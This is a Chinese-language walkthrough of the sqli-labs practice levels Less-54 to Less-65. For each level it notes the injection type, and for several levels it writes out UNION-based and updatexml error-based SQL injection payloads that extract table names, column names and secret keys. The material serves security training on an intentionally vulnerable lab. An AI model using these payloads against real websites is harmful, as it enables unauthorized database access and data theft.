?id=-1' union select 1,2,3 -- qwe
?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='CHALLENGES'),3 -- qwe # 得到表名 ojeqiye0z5
?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='ojeqiye0z5'),3 -- qwe # 得到列名有 id,secret_CE8W,sessid,tryy
?id=-1' union select 1,(select group_concat(0x7e,secret_CE8W,0x7e,tryy) from ojeqiye0z5),3 -- qwe # 得到key值 tQxLhS88zZhUvnUNJSTg0SUp

Less-55

请求方式注入类型拼接方式
GET联合查询、布尔盲注、延时注入id=($id)

做法和上一关一样

Less-56

请求方式注入类型拼接方式
GET联合查询、布尔盲注、延时注入id="$id"

做法和上一关一样

Less-57

请求方式注入类型拼接方式
POST延时盲注id=("$id")

Less-58

请求方式注入类型拼接方式
GET报错、布尔盲注、延时盲注id='$id'
image-20221007233532211
image-20221007233853948

这一关只让进行五次尝试,因为测试过,这一关不可以使用联合查询,推荐使用报错注入

看代码可以看出,在登录成功之后,输出的name会从数组unames中去找查询的结果,密码也是,总之显示只会显示数组中的值,所以联合查询回显不了其他信息。

?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='CHALLENGES')),3) -- qwe  # 查到表名 cqjm6vosh2

?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='cqjm6vosh2')),3) -- qwe # 查到列名 id,secret_YTOK,sessid,tryy

?id=1' and updatexml(1,concat(0x7e,(select group_concat(secret_YTOK) from cqjm6vosh2)),3) -- qwe # 查到key PqdNESVVjtrBGAkVTCTbr2gv

Less-59

请求方式注入类型拼接方式
GET报错注入、布尔盲注、延时注入id=$id

Less-60

请求方式注入类型拼接方式
GET报错注入、布尔盲注、延时注入id=("$id")

Less-61

请求方式注入类型拼接方式
GET报错注入、布尔盲注、延时注入id=(('$id'))

Less-62

请求方式注入类型拼接方式
GET布尔盲注、延时注入id=('$id')

只可以进行盲注了,可以借用sqlmap进行注入,简便一些

sqlmap也不行,得自己写脚本了。。。

Less-63

请求方式注入类型拼接方式
GET布尔盲注、延时注入id='$id'

Less-64

请求方式注入类型拼接方式
GET布尔盲注、延时注入id=(($id))

Less-65

请求方式注入类型拼接方式
GET布尔盲注、延时注入id=("$id")

sql注入绕过姿势文章

sql注入绕过姿势(转载) - Ordshineの小木屋